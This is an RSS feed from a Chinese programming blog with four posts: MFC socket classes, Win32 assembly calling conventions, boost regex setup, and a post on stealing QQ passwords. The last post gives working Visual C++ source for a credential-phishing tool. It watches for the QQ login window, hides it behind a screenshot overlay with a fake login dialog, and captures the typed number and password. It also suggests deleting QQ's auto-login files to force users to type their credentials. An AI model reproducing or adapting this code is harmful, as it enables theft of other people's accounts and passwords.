﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>IT博客-学而不思则罔，思而不学则殆-随笔分类-window 编程</title><link>http://www.cnitblog.com/schkui/category/2842.html</link><description>有其事必有其理，
有其理必有其事 </description><language>zh-cn</language><lastBuildDate>Mon, 30 Sep 2013 15:13:32 GMT</lastBuildDate><pubDate>Mon, 30 Sep 2013 15:13:32 GMT</pubDate><ttl>60</ttl><item><title>CAsyncSocket和CSocket编程 </title><link>http://www.cnitblog.com/schkui/archive/2013/09/27/88683.html</link><dc:creator>易道</dc:creator><author>易道</author><pubDate>Fri, 27 Sep 2013 09:41:00 GMT</pubDate><guid>http://www.cnitblog.com/schkui/archive/2013/09/27/88683.html</guid><wfw:comment>http://www.cnitblog.com/schkui/comments/88683.html</wfw:comment><comments>http://www.cnitblog.com/schkui/archive/2013/09/27/88683.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/schkui/comments/commentRss/88683.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/schkui/services/trackbacks/88683.html</trackback:ping><description><![CDATA[<p>这两个类对Winsock API进行了封装，CAsyncSocket是一个异步非阻塞套接字类，CSocket是继承于CAsyncSocket的同步阻塞套接字类。使用这两个类编程无需自己处理Winsock的I/O模型。</p>
<p>CAsyncSocket类提供的唯一抽象就是将与套接字相连的windows消息以回调函数的形式完成，在创建程序时只需要重载这几个函数就可以实现Winsock的I/O操作。</p>
<p>异步模型效率更高，使用起来更灵活，当然也比较难，因为你要手动检测会显得错误或者阻塞的具体情况。当你需要通信的对端系统可能只允许你建立一个SOCKET连接时，就用CAsyncSocket。</p>
<p>CAsyncSocket用于在少量连接时，处理大批量无步骤依赖性的业务。CSocket用于处理步骤依赖性业务，或在可多连接时配合多线程使用。</p>
<h1><font color="#4bacc6">CAsyncSocket事件处理</font></h1>
<p>当你使用CAsyncSocket::Create创建一个指定兴趣事件的异步套接字时，这些消息究竟是怎么接收和处理的呢？</p>
<p>MFC定义了一个内部的类CSocketWnd，当调用Create函数创建一个套接字时，就会将该套接字连接到一个窗口(CSoketWnd的对象)，并且使用WSAAsyncSelect（Winsock I/O模型）将套接字和此窗口对相关联。CAsyncSocket的DoCallBack函数为该窗口的回调函数。这样，当一个网络事件发生时，经过MFC的消息循环，DoCallBack函数会根据不同的事件调用相应的消息处理函数。MFC将这些消息处理函数定义为虚函数，在编程时必须重载需要的消息处理函数CAsyncSocket::OnReceive()，CAsyncSocket::OnSend()，CAsyncSocket::OnAccept()，CAsyncSocket::OnConnect()，CAsyncSocket::OnClose()，CAsyncSocket:OnOutOfBandData()。</p>
<p>客户方在使用CAsyncSocket::Connect()时，往往返回一个WSAEWOULDBLOCK的错误(其它的某些函数调用也如此)，实际上这不应该算作一个错误，它是Socket提醒我们，由于你使用了非阻塞Socket方式，所以(连接)操作需要时间，不能瞬间建立。既然如此，我们可以等待呀，等它连接成功为止，于是许多程序员就在调用Connect()之后，Sleep(0)，然后不停地用WSAGetLastError()或CAsyncSocket::GetLastError()查看Socket返回的错误，直到返回成功为止。这是一种错误的做法，断言，你不能达到预期目的。事实上，我们可以在Connect()调用之后等待CAsyncSocket::OnConnect()事件被触发，CAsyncSocket::OnConnect()是要表明Socket要么连接成功了，要么连接彻底失败了。至此，我们在CAsyncSocket::OnConnect()被调用之后就知道是否Socket连接成功了，还是失败了。<br />类似的，Send()如果返回WSAEWOULDBLOCK错误，我们在OnSend()处等待，Receive()如果返回WSAEWOULDBLOCK错误，我们在OnReceive()处等待，以此类推。 
<p>总之，尽量使用这些回调函数处理事件，而不要自己查询处理。 
<h1><font color="#4bacc6">CSocket事件处理</font></h1>
<p>主要是要了解他继承了CAsyncSocket之后，如何从异步非阻塞编程同步阻塞模式的。</p>
<p>CSocket在Connect()返回WSAEWOULDBLOCK错误时，不是在OnConnect()，OnReceive()这些事件终端函数里去等待。你先必须明白Socket事件是如何到达这些事件函数里的。这些事件处理函数是靠CSocketWnd窗口对象回调的，而窗口对象收到来自Socket的事件，又是靠线程消息队列分发过来的。总之，Socket事件首先是作为一个消息发给CSocketWnd窗口对象，这个消息肯定需要经过线程消息队列的分发，最终CSocketWnd窗口对象收到这些消息就调用相应的回调函数(OnConnect()等)。<br />&nbsp;&nbsp; 所以，CSocket在调用Connect()之后，如果返回一个WSAEWOULDBLOCK错误时，它马上进入一个消息循环，就是从当前线程的消息队列里取关心的消息，如果取到了WM_PAINT消息，则刷新窗口，如果取到的是Socket发来的消息，则根据Socket是否有操作错误码，调用相应的回调函数(OnConnect()等)。<br />大致的简化代码为： 
<p>BOOL CSocket::Connect( ... )<br />{<br />&nbsp;&nbsp; if( !CAsyncSocket::Connect( ... ) )<br />&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp; if( WSAGetLastError() == WSAEWOULDBLOCK ) //由于异步操作需要时间，不能立即完成，所以Socket返回这个错误<br />&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp; //进入消息循环，以从线程消息队列里查看FD_CONNECT消息，直到收到FD_CONNECT消息，认为连接成功。<br />&nbsp;&nbsp;&nbsp;&nbsp; while( PumpMessages( FD_CONNECT ) );<br />&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp; }<br />} 
<h1><font color="#4bacc6">CAsyncSocket、CSocket编程</font></h1>
<p>在MFC中进行socket编程需要在应用程序类的Initlnstance中调用AfxSocketlnit初始化套接字。如果使用AppWizard创建应用程序的基本框架时，选中了&#8220;WindowsSockets&#8221;复选框，那么将自动添加初始化代码。</p>
<p>if (!AfxSocketInit())<br />&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; AfxMessageBox(IDP_SOCKETS_INIT_FAILED);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return FALSE;<br />&nbsp;&nbsp;&nbsp; }</p>
<p>CSocket不需要bind(),在Create()时会调用bind()函数绑定此套接字。</p>
<p>CSocket一个重要的用处是可用于串行化技术，要结合CSocketFile 和 CArchive。</p>
<p>服务器端程序：</p>
<p>CSocketFile　file(&amp;sockRecv);<br />CArchive　arin(&amp;file,CArchive::load);<br />CArchive　arout(&amp;file,CArchive::load);<br />arin&gt;&gt;dwValue;&nbsp;&nbsp; //发送数据<br />arout &lt;&lt;dwValue;//接收数据</p>
<p>客户端程序：<br />CSocketFile　file(&amp;sockClient);<br />CArchive　arin(&amp;file,CArchive：：load);<br />CArchive　arout(&amp;file,CArchive：：load);<br />arin&gt;&gt;dwValue;&nbsp;&nbsp; //发送数据<br />arout&lt;&lt;dwValue;//接收数据</p><img src ="http://www.cnitblog.com/schkui/aggbug/88683.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/schkui/" target="_blank">易道</a> 2013-09-27 17:41 <a href="http://www.cnitblog.com/schkui/archive/2013/09/27/88683.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>汇编中参数的传递和堆栈修正</title><link>http://www.cnitblog.com/schkui/archive/2007/04/05/25325.html</link><dc:creator>易道</dc:creator><author>易道</author><pubDate>Thu, 05 Apr 2007 08:03:00 GMT</pubDate><guid>http://www.cnitblog.com/schkui/archive/2007/04/05/25325.html</guid><wfw:comment>http://www.cnitblog.com/schkui/comments/25325.html</wfw:comment><comments>http://www.cnitblog.com/schkui/archive/2007/04/05/25325.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/schkui/comments/commentRss/25325.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/schkui/services/trackbacks/25325.html</trackback:ping><description><![CDATA[<p>作者：罗云彬&#183;发布日期：2000-8-8&#183;阅读次数：11124</p>
<hr noshade="noshade" size="1">
&nbsp;&nbsp;&nbsp;在 Win32汇编中，我们经常要和 Api 打交道，另外也会常常使用自己编制的类似于 Api
的带参数的子程序，本文要讲述的是在子程序调用的过程中进行参数传递的概念和分析。一般在程序中，参数的传递是通过堆栈进行的，也就是说，调用者把要传递
给子程序（或者被调用者）的参数压入堆栈，子程序在堆栈取出相应的值再使用，比如说，如果你要调用
SubRouting(Var1,Var2,Var3)，编译后的最终代码<font color="#ff0000">可能</font>是<br>
<br>
&nbsp;&nbsp;&nbsp;push Var3<br>
&nbsp;&nbsp;&nbsp;push Var2<br>
&nbsp;&nbsp;&nbsp;push Var1<br>
&nbsp;&nbsp;&nbsp;call SubRouting<br>
&nbsp;&nbsp;&nbsp;add esp,12<br>
<br>
&nbsp;&nbsp;&nbsp;也就是说，调用者首先把参数压入堆栈，然后调用子程序，在完成后，由于堆栈中先前压入的数不再有用，调用者或者被调用者必须有一方把堆栈指针修正到
调用前的状态。参数是最右边的先入堆栈还是最左边的先入堆栈、还有由调用者还是被调用者来修正堆栈都必须有个约定，不然就会产生不正确的结果，这就是我在
前面使用&#8220;可能&#8221;这两个字的原因：各种语言中调用子程序的约定是不同的，它们的不同点见下表：<br>
<table bordercolorlight="#000000" bordercolordark="#FFFFFF" border="1" cellpadding="0" cellspacing="0" width="100%">
    <tbody>
        <tr bgcolor="#66cccc">
            <td bgcolor="#66cccc">&nbsp;</td>
            <td align="center">C</td>
            <td align="center">SysCall</td>
            <td align="center">StdCall</td>
            <td align="center">Basic</td>
            <td align="center">Fortran</td>
            <td align="center">Pascal</td>
        </tr>
        <tr>
            <td bgcolor="#66cccc" width="28%">参数从左到右</td>
            <td align="center" bgcolor="#ccccff" width="12%">&nbsp;</td>
            <td align="center" bgcolor="#ccccff" width="12%">&nbsp;</td>
            <td align="center" bgcolor="#ccccff" width="12%">&nbsp;</td>
            <td align="center" bgcolor="#ccccff" width="12%">是</td>
            <td align="center" bgcolor="#ccccff" width="12%">是</td>
            <td align="center" bgcolor="#ccccff" width="12%">是</td>
        </tr>
        <tr>
            <td bgcolor="#66cccc" width="28%">参数从右到左</td>
            <td align="center" bgcolor="#ccccff" width="12%">是</td>
            <td align="center" bgcolor="#ccccff" width="12%">是</td>
            <td align="center" bgcolor="#ccccff" width="12%">是</td>
            <td align="center" bgcolor="#ccccff" width="12%">&nbsp;</td>
            <td align="center" bgcolor="#ccccff" width="12%">&nbsp;</td>
            <td align="center" bgcolor="#ccccff" width="12%">&nbsp;</td>
        </tr>
        <tr>
            <td bgcolor="#66cccc" width="28%">调用者清除堆栈</td>
            <td align="center" bgcolor="#ccccff" width="12%">是</td>
            <td align="center" bgcolor="#ccccff" width="12%">&nbsp;</td>
            <td align="center" bgcolor="#ccccff" width="12%">&nbsp;</td>
            <td align="center" bgcolor="#ccccff" width="12%">&nbsp;</td>
            <td align="center" bgcolor="#ccccff" width="12%">&nbsp;</td>
            <td align="center" bgcolor="#ccccff" width="12%">&nbsp;</td>
        </tr>
        <tr>
            <td bgcolor="#66cccc" width="28%">允许使用:VARARG</td>
            <td align="center" bgcolor="#ccccff" width="12%">是</td>
            <td align="center" bgcolor="#ccccff" width="12%">是</td>
            <td align="center" bgcolor="#ccccff" width="12%">是</td>
            <td align="center" bgcolor="#ccccff" width="12%">&nbsp;</td>
            <td align="center" bgcolor="#ccccff" width="12%">&nbsp;</td>
            <td align="center" bgcolor="#ccccff" width="12%">&nbsp;</td>
        </tr>
    </tbody>
</table>
<br>
&nbsp;&nbsp;&nbsp;VARARG 表示参数的个数可以是不确定的，有一个例子就是 C 中的 printf 语句，在上表中，StdCall
的定义有个要说明的地方，就是如果 StdCall 使用 :VARARG
时，是由调用者清除堆栈的，而在没有:VARARG时是由被调用者清除堆栈的。在 Win32 汇编中，约定使用 StdCall
方式，所以我们要在程序开始的时候使用 .model stdcall 语句。也就是说，在 API
或子程序中，最右边的参数先入堆栈，然后子程序在返回的时候负责校正堆栈，举例说明，如果我们要调用 MessageBox 这个
API，因为它的定义是 MessageBox(hWnd,lpText,lpCaption,UType) 所以在程序中要这样使用：<br>
<br>
&nbsp;&nbsp;&nbsp;push MB_OK<br>
&nbsp;&nbsp;&nbsp;push offset szCaption<br>
&nbsp;&nbsp;&nbsp;push offset szText<br>
&nbsp;&nbsp;&nbsp;push hWnd<br>
&nbsp;&nbsp;&nbsp;call MessageBox<br>
&nbsp;&nbsp;&nbsp;...<br>
<br>
&nbsp;&nbsp;&nbsp;我们不必在 API 返回的时候加上一句 add sp,4*4 来修正堆栈，因为这已经由 MessageBox 这个子程序做了。在
Windows API 中，唯一一个特殊的 API 是 wsprintf，这个 API 是 C 约定的，它的定义是
wsprintf(lpOut,lpFormat,Var1,Var2...)，所以在使用时就要：<br>
<br>
&nbsp;&nbsp;&nbsp;push 1111<br>
&nbsp;&nbsp;&nbsp;push 2222<br>
&nbsp;&nbsp;&nbsp;push 3333<br>
&nbsp;&nbsp;&nbsp;push offset szFormat<br>
&nbsp;&nbsp;&nbsp;push offset szOut<br>
&nbsp;&nbsp;&nbsp;call wsprintf<br>
&nbsp;&nbsp;&nbsp;add esp,4*5<br>
<img  src="http://211.90.241.130:22366/program/win32/stack.gif"><br><br>
&nbsp;&nbsp;&nbsp;下面要讲的是子程序如何存取参数，因为缺省对堆栈操作的寄存器有 ESP 和 EBP，而 ESP是堆栈指针，无法暂借使用，所以一般使用
EBP 来存取堆栈，假定在一个调用中有两个参数，而且在 push 第一个参数前的堆栈指针 ESP 为 X，那么压入两个参数后的 ESP 为
X-8，程序开始执行 call 指令，call 指令把返回地址压入堆栈，这时候 ESP 为 X-C，这时已经在子程序中了，我们可以开始使用
EBP 来存取参数了，但为了在返回时恢复 EBP 的值，我们还是再需要一句 push ebp 来先保存 EBP 的值，这时 ESP 为
X-10，再执行一句 mov ebp,esp，根据上图可以看出，实际上这时候 [ebp + 8] 就是参数1，[ebp +
c]就是参数2。另外，局部变量也是定义在堆栈中的，它们的位置一般放在 push ebp 保存的 EBP
数值的后面，局部变量1、2对应的地址分别是
[ebp-4]、[ebp-8],下面是一个典型的子程序，可以完成第一个参数减去第二个参数，它的定义是：<br>
<br>
&nbsp;&nbsp;&nbsp;MyProc proto Var1,Var2 ；有两个参数<br>
&nbsp;&nbsp;&nbsp;local lVar1,lVar2 ；有两个局部变量<br>
<br>
&nbsp;&nbsp;&nbsp;注意，这里的两个 local 变量实际上没有被用到，只是为了演示用，具体实现的代码是：<br>
<br>
MyProc proc<br>
<br>
&nbsp;&nbsp;&nbsp;push ebp<br>
&nbsp;&nbsp;&nbsp;mov ebp,esp<br>
&nbsp;&nbsp;&nbsp;sub esp,8<br>
&nbsp;&nbsp;&nbsp;mov eax,dword ptr [ebp + 8]<br>
&nbsp;&nbsp;&nbsp;sub eax,dword ptr [ebp + c]<br>
&nbsp;&nbsp;&nbsp;add esp,8<br>
&nbsp;&nbsp;&nbsp;pop ebp<br>
&nbsp;&nbsp;&nbsp;ret 8<br>
<br>
MyProc endp<br>
<br>
&nbsp;&nbsp;&nbsp;现在对这个子程序分析一下，push ebp/mov ebp,esp 是例行的保存和设置 EBP 的代码，sub esp,8
在堆栈中留出两个局部变量的空间，mov /add 语句完成相加，add esp,8 修正两个局部变量使用的堆栈，ret 8
修正两个参数使用的堆栈，相当于 ret / add esp,8 两句代码的效果。可以看出，这是一个标准的 Stdcall
约定的子程序，使用时最后一个参数先入堆栈，返回时由子程序进行堆栈修正。当然，这个子程序为了演示执行过程，使用了手工保存 ebp
并设置局部变量的方法，实际上，386 处理器有两条专用的指令是完成这个功能用的，那就是 Enter 和 Leave，Enter 语句的作用就是
push ebp/mov ebp,esp/sub esp,xxx，这个 xxx 就是 Enter 的，Leave 则完成 add
esp,xxx/pop ebp 的功能，所以上面的程序可以改成：<br>
<br>
MyPorc proc<br>
<br>
&nbsp;&nbsp;&nbsp;enter 8,0<br>
<br>
&nbsp;&nbsp;&nbsp;mov eax,dword ptr [ebp + 8]<br>
&nbsp;&nbsp;&nbsp;sub eax,dword ptr [ebp + c]<br>
<br>
&nbsp;&nbsp;&nbsp;leave<br>
&nbsp;&nbsp;&nbsp;ret 8<br>
<br>
MyProc endp<br>
<br>
&nbsp;&nbsp;&nbsp;好了，说到这儿，参数传递的原理也应该将清楚了，还要最后说的是，在使用 Masm32 编 Win32 汇编程序的时候，我们并不需要记住
[ebp + xx] 等麻烦的地址，或自己计算局部变量需要预留的堆栈空间，还有在 ret 时计算要加上的数值，Masm32
的宏指令都已经把这些做好了，如在 Masm32 中，上面的程序只要写成为：<br>
<br>
MyProc proc Var1,Var2<br>
&nbsp;&nbsp;&nbsp;local lVar1,lVar2<br>
<br>
&nbsp;&nbsp;&nbsp;mov eax,Var1<br>
&nbsp;&nbsp;&nbsp;sub eax,Var2<br>
&nbsp;&nbsp;&nbsp;ret<br>
<br>
MyProc endp<br>
<br>
&nbsp;&nbsp;&nbsp;编译器会自动的在 mov eax,Var1 前面插上一句 Enter 语句，它的参数会根据 local 定义的局部变量的多少自动指定，在
ret 前会自动加上一句 Leave，同样，编译器会根据参数的多少把 ret 替换成 ret xxx，把 mov eax,Var1 换成
mov eax,dword ptr [ebp + 8] 等等。<br>
&nbsp;&nbsp;&nbsp;最后是使用 Masm32 的 invoke 宏指令，在前面可以看到，调用带参数的子程序时，我们需要用 push
把参数压入堆栈，如果不小心把参数个数搞错了，就会使堆栈不平衡，从而使程序从堆栈中取出错误的返回地址引起不可预料的后果，所以有必要有一条语句来完成
自动检验的任务，invoke 就是这样的语句，实际上，它是自动 push 所有参数，检测参数个数、类型是否正确，并使用 call
来调用的一个宏指令，对于上面的 push/push/call MyProc 的指令，可以用一条指令完成就是：<br>
<br>
invoke MyProc,Var1,Var2<br>
<br>
当然，当程序编译好以后你去看机器码会发现它被正确地换成了同样的 push/push/call 指令。但是，在使用 invoke 之前，为了让它进行正确的参数检验，你需要对函数进行申明，就象在 C 中一样，申明的语句是：<br>
<br>
MyProc proto ：DWORD，：DWORD<br>
<br>
语句中 proto 是关键字，表示申明，：DWORD 表示参数的类型是 double word 类型的，有几个就表示有几个参数，在 Win32
中参数都是 double word 型的，申明语句要写在 invoke 之前，所以我们一般把它包括在 include
文件中，好了，综合一下，在 Masm32 中使用一个带参数的子程序或者 Api ，我们只需用：<br>
<br>
&nbsp;&nbsp;&nbsp;...<br>
&nbsp;&nbsp;&nbsp;MyProc proto :dword,:dword<br>
&nbsp;&nbsp;&nbsp;...<br>
&nbsp;&nbsp;&nbsp;.data<br>
&nbsp;&nbsp;&nbsp;x dd ?<br>
&nbsp;&nbsp;&nbsp;y dd ?<br>
&nbsp;&nbsp;&nbsp;dwResult dd ?<br>
&nbsp;&nbsp;&nbsp;...<br>
&nbsp;&nbsp;&nbsp;mov x,1<br>
&nbsp;&nbsp;&nbsp;mov y,2<br>
&nbsp;&nbsp;&nbsp;invoke MyProc x,y<br>
&nbsp;&nbsp;&nbsp;mov dwResult,eax<br>
&nbsp;&nbsp;&nbsp;...<br>
<br>
就行了，如何，是不是很简单啊？不过我可苦了，这篇文章整整花了我一个晚上 ... ##%$^&amp;(*&amp;^(*&amp;(^&amp;(*<img src ="http://www.cnitblog.com/schkui/aggbug/25325.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/schkui/" target="_blank">易道</a> 2007-04-05 16:03 <a href="http://www.cnitblog.com/schkui/archive/2007/04/05/25325.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>VC利用boost库解析正则表达式</title><link>http://www.cnitblog.com/schkui/archive/2007/04/03/25097.html</link><dc:creator>易道</dc:creator><author>易道</author><pubDate>Tue, 03 Apr 2007 02:47:00 GMT</pubDate><guid>http://www.cnitblog.com/schkui/archive/2007/04/03/25097.html</guid><wfw:comment>http://www.cnitblog.com/schkui/comments/25097.html</wfw:comment><comments>http://www.cnitblog.com/schkui/archive/2007/04/03/25097.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/schkui/comments/commentRss/25097.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/schkui/services/trackbacks/25097.html</trackback:ping><description><![CDATA[boost库安装比较麻烦,需要自己编译源文件,我整理了一下,如果仅仅需要做正则表达式,按下面的代码敲就行了：<br><br>cmd<br>　　<a  href="http://www.5iask.com/language/vc/" target="_blank">VC</a>vars32.bat<br>　　cd D:\boost_1_32_0\libs\regex\build<br>　　d:<br>　　nmake -fvc6.mak<br>　　nmake -fvc6.mak install <br><br>　　注意,别看<a  href="http://dl.21tx.com/" target="_blank">下载</a>下
来的数据包没有多大,解压缩之后达到了100多M,编译完之后为109M,占用131M,所以安装时一定注意空出足够的空间,敲入nmake
-fvc6.mak后等待的时间比较长,屏幕上还会出现一大堆英语,可以不做考虑.按照步骤往下敲就行了.压缩包内文档很详细,参照文档继续就可以了.<br><br>　　在VC6中集成:Tools-&gt;Options-&gt;Directories-&gt;Include files<br><br>　　加入:D:\boost_1_32_0<br><br>　　编写一个源程序测试一下:<br><br>
<table align="center" bgcolor="#e7e9e9" border="1" bordercolor="#cccccc" width="90%">
    <tbody>
        <tr>
            <td>#include "stdafx.h"<br>#include &lt;cstdlib&gt;<br>#include &lt;stdlib.h&gt;<br>#include &lt;boost/regex.hpp&gt;<br>#include &lt;string&gt;<br>#include &lt;iostream&gt;<br><br>using namespace std;<br>using namespace boost;<br><br>regex expression("^select ([a-zA-Z]*) from ([a-zA-Z]*)");<br><br>int main(int argc, char* argv[])<br>{<br>　std::string in;<br>　cmatch what;<br>　cout &lt;&lt; "enter test string" &lt;&lt; endl;<br>　getline(cin,in);<br>　if(regex_match(in.c_str(), what, expression))<br>　{<br>　　for(int i=0;i&lt;what.size();i++)<br>　　　cout&lt;&lt;"str :"&lt;&lt;what[i].str()&lt;&lt;endl;<br>　}<br>　else<br>　{<br>　　cout&lt;&lt;"Error Input"&lt;&lt;endl;<br>　}<br>　return 0;<br>}</td>
        </tr>
    </tbody>
</table>
<br>　　输入: select name from table<br>　　输出: str:select name from table<br>　　　　　str:name<br>　　　　　str:table<br><img src ="http://www.cnitblog.com/schkui/aggbug/25097.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/schkui/" target="_blank">易道</a> 2007-04-03 10:47 <a href="http://www.cnitblog.com/schkui/archive/2007/04/03/25097.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Visual C++编程窃取QQ密码</title><link>http://www.cnitblog.com/schkui/archive/2007/04/03/25096.html</link><dc:creator>易道</dc:creator><author>易道</author><pubDate>Tue, 03 Apr 2007 02:46:00 GMT</pubDate><guid>http://www.cnitblog.com/schkui/archive/2007/04/03/25096.html</guid><wfw:comment>http://www.cnitblog.com/schkui/comments/25096.html</wfw:comment><comments>http://www.cnitblog.com/schkui/archive/2007/04/03/25096.html#Feedback</comments><slash:comments>5</slash:comments><wfw:commentRss>http://www.cnitblog.com/schkui/comments/commentRss/25096.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/schkui/services/trackbacks/25096.html</trackback:ping><description><![CDATA[近日无所事事，看到现在的QQ防盗技术越来越好，一般的钩子已经无法获取用户输入
的密码了，我也试图用发送WM_GETTEXT消息以及GetWindowText来获取密码文本框的数据，发现是不可行的。左思右想，既然程序本身的防
范很 严密。那么我们就从用户这边来下手吧。毕竟很多用户对电脑不是很了解的，各位看官可不能扔丑鸡蛋啊。<br>网吧里一般用户点击QQ快捷方式后就输入号码和密码，然后再登陆，这样我们就可以进行欺骗了。我们的程序运行在后台不停的检测当前激活的窗口是不是QQ登
录的窗口，如果是的话就先取得QQ登录窗口中的号码、密码文本框和登陆按钮的窗口位置。这样是为了在我们伪造的窗口上创建这些窗口时不被察觉，获得这些信
息后，我们先截取整个屏幕，然后把真正的QQ登录窗口隐藏起来，最后创建我们自己的窗口，设置为最前占满整个桌面，然后再背景上贴上刚才抓取的图片。最后
在图片QQ登陆的地方创建好QQ号码和密码输入窗口，在检测到用户单击在QQ登陆按钮时获取用户输入的字符，把这些字符发送到真正的QQ窗口里，最后模拟
单击QQ登陆按钮完成QQ的正常登陆。 <br><br>　　然而家庭用户一般是选了自动登陆的方式，所以没有QQ登录的窗口，那我们就要动一些手脚
了。了解QQ的地球人都知道，QQ文件夹下有这两个文件：AutoLogin.dat和LoginUinList.dat，它们的功能：这两个文件是QQ
的号码登录数据文件，AutoLogin.dat
保存的是自动登录号码的数据文件，LoginUinList.dat则保存的是QQ登录窗口中的&#8220;QQ号码&#8221;下拉框中显示的所有号码记录。所以我们要删除
QQ登录数据，直接删除AutoLogin.dat和LoginUinList.dat两个文件就行了。主要代码分析如下：<br>
<pre>//根据进程ID得到进程名称 <br>BOOL processIdToName(LPTSTR lpszProcessName, DWORD PID) <br>{ <br>    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); <br>    PROCESSENTRY32 pe; <br>    pe.dwSize = sizeof(PROCESSENTRY32); <br>    if (!Process32First(hSnapshot, &amp;pe)) { <br>        return FALSE; <br>    } <br>    while (Process32Next(hSnapshot, &amp;pe)) { <br>        if (pe.th32ProcessID == PID) { <br>            strcpy(lpszProcessName, pe.szExeFile); <br>   return true; <br>        } <br>    } <br>  <br>    return FALSE; <br>}    <br>    <br>//查找QQ登录窗口 <br>void QQFind() <br>{ <br> HWND  hWnd1 = NULL, qqID_hWnd = NULL, qqPass_hWnd = NULL; <br> HWND ButtonLogin = NULL, ButtonCancel = NULL; <br> char sTitle[255]; <br> CString ss; <br> DWORD QQPID; <br> int LoginID; <br> BOOL find = FALSE; <br> do <br> {  <br>  //获得当前激活窗口的句柄 <br>  g_hWnd = GetForegroundWindow(); <br>  GetWindowThreadProcessId(g_hWnd, &amp;QQPID); <br>  //根据PID获得进程名 <br>  processIdToName(sTitle, QQPID); <br>  ss = sTitle; <br>  ss.MakeLower(); <br>  //判断是否QQ <br>  if(ss != "qq.exe") <br>  { <br>   Sleep(100); <br>   continue; <br>  } <br>   <br>  //获得标题文字，判断是否登陆对话框 <br>  SendMessage(g_hWnd,WM_GETTEXT,255,(LPARAM)sTitle); <br>  ss = sTitle; <br>  int n = ss.Find("QQ", 0); <br>  int m = ss.Find("登录", 0); <br>  if(n &gt;= 0 || m &gt;= 0) <br>  { <br>   //查找QQ登陆按钮的句柄 <br>   ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");  <br>   LoginID = GetDlgCtrlID(ButtonLogin); <br>   ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");  <br>   LoginID = GetDlgCtrlID(ButtonLogin); <br>   //获得QQ登陆按钮窗口位置 <br>   GetWindowRect(ButtonLogin, &amp;g_qqLogin); <br><br>   //查找QQ取消按钮的句柄 <br>   ButtonCancel = FindWindowEx(g_hWnd, NULL, "Button", "取消"); <br>   //获得QQ取消按钮窗口位置 <br>   GetWindowRect(ButtonCancel, &amp;g_qqCancel); <br><br>   //查找QQ密码输入框的句柄 <br>   hWnd1 = FindWindowEx(g_hWnd, NULL, "#32770", NULL);  <br>   if(hWnd1 != NULL)  <br>   { <br>    qqPass_hWnd = FindWindowEx(hWnd1, qqPass_hWnd, "Edit", NULL); <br>    //获得QQ密码输入框窗口位置 <br>    GetWindowRect(qqPass_hWnd, &amp;g_qqPassRt);      <br>   } <br>    <br>   //查找QQ号码输入框的句柄 <br>   hWnd1 = FindWindowEx(g_hWnd, NULL, "ComboBox", NULL); <br>   if(hWnd1 != NULL)  <br>   { <br>    qqID_hWnd = FindWindowEx(hWnd1, qqID_hWnd, "Edit", NULL); <br>    //获得QQ号码输入框窗口位置 <br>    GetWindowRect(qqID_hWnd, &amp;g_qqIDRt); <br>    //获得当前默认QQ号码 <br>    SendMessage(qqID_hWnd,WM_GETTEXT, 255,(LPARAM)qqid); <br>   } <br>    <br>   //等待QQ窗口完全出现后抓取整个屏幕 <br>   Sleep(100); <br>   g_DlgRt.left = 0; <br>   g_DlgRt.top = 0; <br>   g_DlgRt.right = m_xScreen; <br>   g_DlgRt.bottom = m_yScreen;    <br>   g_<a  href="http://www.5iask.com/language/pb/" target="_blank">PB</a>itmap = CopyScreenToBitmap(&amp;g_DlgRt); <br>    <br>   //设置QQ窗口为不可见 <br>   ShowWindow(g_hWnd, SW_HIDE); <br>    <br>   //弹出我们创建的伪造对话框 <br>   HINSTANCE hInstance = GetModuleHandle(NULL); <br>   DialogBoxParam(hInstance, (LPCTSTR)IDD_WIN847, 0, (DLGPROC)win847, 0); <br>    <br>   //设置QQ窗口为可见 <br>   ShowWindow(g_hWnd, SW_SHOW); <br><br>   //把QQ号码和密码填到真正的QQ登录窗口上，并模拟单击登陆按钮 <br>   SendMessage(qqID_hWnd, WM_SETTEXT, 0, (LPARAM)qqid); <br>   SendMessage(qqPass_hWnd, WM_SETTEXT, 0, (LPARAM)qqpass); <br>   SendMessage(ButtonLogin, BM_CLICK, 0, 0); <br><br>   DeleteObject(g_pBitmap); <br>   //设置标志退出循环 <br>   find = true; <br>  } <br>   <br> } <br><br> while(find == FALSE); <br>}</pre>
截图如下：<br><br><img  src="http://image.21tx.com/image/20061007/10162.jpg" style="display: block;" title="ctrl+鼠标滚轮缩放" vspace="5" width="600"><br>图一 伪装的登陆界面
<p>　　好了，说到这儿也差不多啦，见笑见笑了^_^，最后奉劝一句，请勿用于非法。</p>
